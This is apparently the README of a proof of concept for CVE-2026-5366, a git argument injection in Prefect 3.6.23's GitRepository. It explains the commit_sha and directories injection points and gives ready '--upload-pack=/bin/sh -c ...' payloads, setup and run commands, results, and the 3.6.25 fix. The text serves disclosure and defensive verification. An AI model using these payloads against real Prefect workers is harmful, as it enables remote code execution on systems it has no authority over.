
CVE-2026-5366 के लिए PoC: Prefect के GitRepository में git आर्ग्युमेंट इंजेक्शन, जिससे worker पर RCE संभव होता है।
commit_sha के माध्यम से RCE की ओर ले जाने वाला git आर्गुमेंट इंजेक्शन (directories के माध्यम से आर्गुमेंट इंजेक्शन के साथ)src/prefect/runner/storage.pyयह पहले से प्रकाशित और पैच की गई कमजोरी (Prefect 3.6.25 में ठीक की गई) के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जिसे शिक्षा और रक्षात्मक सत्यापन के लिए प्रकाशित किया गया है। इसे केवल उन सॉफ़्टवेयर और सिस्टम के खिलाफ चलाएं जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए अधिकृत हैं। यदि आप Prefect चलाते हैं, तो 3.6.25 या बाद के संस्करण में अपग्रेड करें।
| फ़ाइल | उद्देश्य |
|---|---|
poc.py | दोनों इंजेक्शन वेक्टरों को कमजोर इंस्टॉल के खिलाफ चलाता है और रिपोर्ट करता है कि कौन सा कोड निष्पादन देता है |
run_offline.sh | नेटवर्क-मुक्त रनर: एक स्थानीय file:// रिपॉजिटरी बनाता है और उसके खिलाफ poc.py चलाता है (RCE फायर होते देखने का विश्वसनीय तरीका) |
src/prefect/runner/storage.py में:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
इंजेक्शन बिंदु (3.6.23 पंक्ति संख्याएँ):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(कोई सेपरेटर नहीं)commit_sha पथ पर, --upload-pack=<program> को git fetch/git checkout द्वारा कनेक्शन के लिए चलाए जाने वाले पैक प्रोग्राम के रूप में व्याख्यायित किया जाता है, इसलिए प्रोग्राम वर्कर मशीन पर स्थानीय रूप से निष्पादित होता है। यह एंड-टू-एंड सत्यापित है (नीचे "सत्यापित परिणाम" देखें)।
directories पथ वास्तविक आर्गुमेंट इंजेक्शन है लेकिन --upload-pack के माध्यम से RCE वेक्टर नहीं है: git sparse-checkout set एक स्थानीय कमांड है जिसमें कोई --upload-pack विकल्प नहीं है, इसलिए पेलोड को अज्ञात फ्लैग के रूप में अस्वीकार कर दिया जाता है। यह विषमता अपस्ट्रीम फिक्स में प्रतिबिंबित होती है: commit_sha को कड़ाई से अस्वीकार कर दिया जाता है, जबकि -- से शुरू होने वाली directories प्रविष्टि केवल एक चेतावनी ट्रिगर करती है।
मुख्य भाग commit_sha वेक्टर पर एक git आर्गुमेंट-इंजेक्शन ट्रिक है।
कोई सत्यापन नहीं। 3.6.23 में commit_sha मान वैसे ही संग्रहीत किया जाता है (storage.py:181), branch/commit_sha पारस्परिक बहिष्करण के अलावा कोई जाँच नहीं। कोई भी स्ट्रिंग स्वीकार की जाती है।
यह git आर्गुमेंट स्थिति में पहुँचता है। जब Prefect कोड खींचता है (pull_code() फिर _clone_repo()), मान git आर्गुमेंट सूची में रखा जाता है:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
यह एक आर्गुमेंट सूची है (कोई शेल नहीं), इसलिए शेल इंजेक्शन नहीं है। दोष यह है कि हमलावर-नियंत्रित मान से पहले कोई -- सेपरेटर नहीं है।
--upload-pack को एक आर्गुमेंट के बजाय विकल्प के रूप में पार्स किया जाता है। git - से शुरू होने वाली किसी भी चीज़ को विकल्प मानता है जब तक कि उसके पहले -- सेपरेटर न हो। पेलोड:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
कमांड को इसमें बदल देता है:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> git fetch/clone/ls-remote का एक वैध विकल्प है: यह उस प्रोग्राम का नाम बताता है जिसे git पैक सर्व करने के लिए चलाता है। जब रिमोट स्थानीय (file://) हो या SSH/लोकल ट्रांसपोर्ट पर पहुँचा जाए, git उस प्रोग्राम को स्थानीय मशीन पर निष्पादित करता है।
git-upload-pack हेल्पर के स्थान पर /bin/sh -c '...' लॉन्च करता है, इसलिए हमलावर का कमांड Prefect वर्कर पर चलता है। फिर git विफल हो जाता है (sh git प्रोटोकॉल नहीं बोलता), लेकिन साइड इफेक्ट (कोड निष्पादन) पहले ही हो चुका होता है, यही कारण है कि PoC परिणामी अपवाद को अनदेखा करता है और केवल मार्कर फ़ाइल की जाँच करता है।परीक्षण-पूर्व सफाई क्यों मायने रखती है। यदि गंतव्य के पास पहले से .git है, तो Prefect "मौजूदा रिपॉजिटरी अपडेट करें" पथ लेता है। इसे हटाने से पूर्ण _clone_repo() पथ मजबूर होता है, जिसमें सबसे सीधे fetch origin <value> + checkout <value> कॉल होते हैं, जो सबसे अच्छे इंजेक्शन साइट हैं।
directories RCE क्यों नहीं देता। वह मान git sparse-checkout set <value> में जाता है, एक स्थानीय कमांड जिसमें कोई --upload-pack विकल्प नहीं होता, इसलिए git पेलोड को अज्ञात फ्लैग के रूप में अस्वीकार कर देता है। यह अभी भी वास्तविक आर्गुमेंट इंजेक्शन है, लेकिन इस पेलोड के साथ RCE वेक्टर नहीं है।
फिक्स (3.6.25)। commit_sha को ^[0-9a-fA-F]{4,64}$ से मेल खाना चाहिए, इसलिए --upload-pack=... पेलोड को निर्माण के समय ValueError: Invalid commit SHA के साथ अस्वीकार कर दिया जाता है। directories के लिए, फिक्स git कमांड में -- सेपरेटर जोड़ता है (मान अब विकल्प के रूप में नहीं पढ़े जा सकते) साथ ही एक चेतावनी।
prefect==3.6.23 इंस्टॉल करेंGitRepository(..., commit_sha=..., directories=...).pull_code() के माध्यम से ट्रिगर करेंcommit_sha को GitRepository(...) निर्माण पर अस्वीकार कर दिया गया हैpython -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
या स्रोत से सटीक कमजोर टैग पर:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
विश्वसनीय, स्व-निहित तरीका (एक स्थानीय file:// रिपॉजिटरी बनाता है और दोनों वेक्टर चलाता है):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
आप poc.py को सीधे भी चला सकते हैं:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
महत्वपूर्ण: git केवल स्थानीय और ssh ट्रांसपोर्ट पर --upload-pack का सम्मान करता है। डिफ़ॉल्ट https रिमोट के खिलाफ पेलोड निष्क्रिय है, इसलिए python poc.py कमजोर 3.6.23 पर भी कोई मार्कर नहीं दिखाता। RCE को वास्तव में फायर होते देखने के लिए run_offline.sh (या file:// / ssh POC_TARGET_REPO) का उपयोग करें।
स्क्रिप्ट प्रत्येक वेक्टर से पहले आक्रामक सफाई (force_clean_destination) करती है ताकि यह विश्वसनीय रूप से क्लोन पथ (_clone_repo) को हिट करे, जो निष्पादित करता है:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
ये fetch / checkout और sparse-checkout set में कच्ची आर्गुमेंट स्थितियों को हिट करते हैं।
पूरी तरह से ऑफलाइन (स्थानीय file:// बेयर रिपॉजिटरी run_offline.sh के माध्यम से), Python 3.12 पर एंड-टू-एंड पुनरुत्पादित:
देखी गई कमजोर-रन मार्कर सामग्री:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
पैच किए गए इंस्टॉल पर दुर्भावनापूर्ण ऑब्जेक्ट किसी भी git चलने से पहले निर्माण में विफल हो जाता है:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
-- से शुरू होने वाली directories प्रविष्टि केवल एक चेतावनी उत्सर्जित करती है (वास्तविक सुरक्षा git कमांड में जोड़ा गया -- सेपरेटर है)।
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dजिम्मेदारी से उपयोग करें (ज़रूर !!! :PpPPpp) और केवल उन्हीं सिस्टम पर जिन्हें आप नियंत्रित करते हैं :-)
["git", "sparse-checkout", "set", *self._directories]--| संस्करण | commit_sha | directories |
|---|
| 3.6.23 (कमजोर) | RCE प्राप्त: git fetch origin <payload> के दौरान मार्कर फ़ाइल लिखी गई | कोई मार्कर नहीं: sparse-checkout set --upload-pack फ्लैग को अस्वीकार करता है |
| 3.6.25 (पैच किया गया) | निष्प्रभावी: GitRepository(...) निर्माण पर ValueError: Invalid commit SHA ... | कोई मार्कर नहीं: -- सेपरेटर + चेतावनी |